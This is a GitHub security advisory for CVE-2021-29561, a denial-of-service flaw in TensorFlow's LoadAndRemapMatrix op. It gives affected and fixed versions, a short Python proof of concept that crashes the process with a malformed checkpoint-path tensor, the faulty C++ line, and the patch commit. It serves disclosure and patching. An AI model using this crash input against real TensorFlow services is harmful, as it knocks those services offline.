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GHSA-gvm4-h8j3-rjrq

CHECK-fail in `LoadAndRemapMatrix`

Source: GitHub Advisory Database (reviewed) Low CVE-2021-29561

Packages

EcosystemPackageAffectedFixed in
PyPI tensorflow < 2.1.4 2.1.4
PyPI tensorflow >= 2.2.0, < 2.2.3 2.2.3
PyPI tensorflow >= 2.3.0, < 2.3.3 2.3.3
PyPI tensorflow >= 2.4.0, < 2.4.2 2.4.2
PyPI tensorflow-cpu < 2.1.4 2.1.4
PyPI tensorflow-cpu >= 2.2.0, < 2.2.3 2.2.3
PyPI tensorflow-cpu >= 2.3.0, < 2.3.3 2.3.3
PyPI tensorflow-cpu >= 2.4.0, < 2.4.2 2.4.2
PyPI tensorflow-gpu < 2.1.4 2.1.4
PyPI tensorflow-gpu >= 2.2.0, < 2.2.3 2.2.3
PyPI tensorflow-gpu >= 2.3.0, < 2.3.3 2.3.3
PyPI tensorflow-gpu >= 2.4.0, < 2.4.2 2.4.2

Details

As written in the advisory (Markdown source, shown as plain text).

### Impact An attacker can cause a denial of service by exploiting a `CHECK`-failure coming from `tf.raw_ops.LoadAndRemapMatrix`: ```python import tensorflow as tf ckpt_path = tf.constant([], shape=[0], dtype=tf.string) old_tensor_name = tf.constant("") row_remapping = tf.constant([], shape=[0], dtype=tf.int64) col_remapping = tf.constant([1], shape=[1], dtype=tf.int64) initializing_values = tf.constant(1.0) tf.raw_ops.LoadAndRemapMatrix( ckpt_path=ckpt_path, old_tensor_name=old_tensor_name, row_remapping=row_remapping, col_remapping=col_remapping, initializing_values=initializing_values, num_rows=0, num_cols=1) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) assumes that the `ckpt_path` is always a valid scalar. ```cc const string& ckpt_path = ckpt_path_t->scalar<tstring>()(); ``` However, an attacker can send any other tensor as the first argument of `LoadAndRemapMatrix`. This would cause the rank `CHECK` in `scalar<T>()()` to trigger and terminate the process. ### Patches We have patched the issue in GitHub commit [77dd114513d7796e1e2b8aece214a380af26fbf4](https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

References

External links from the advisory. They lead to third-party sites.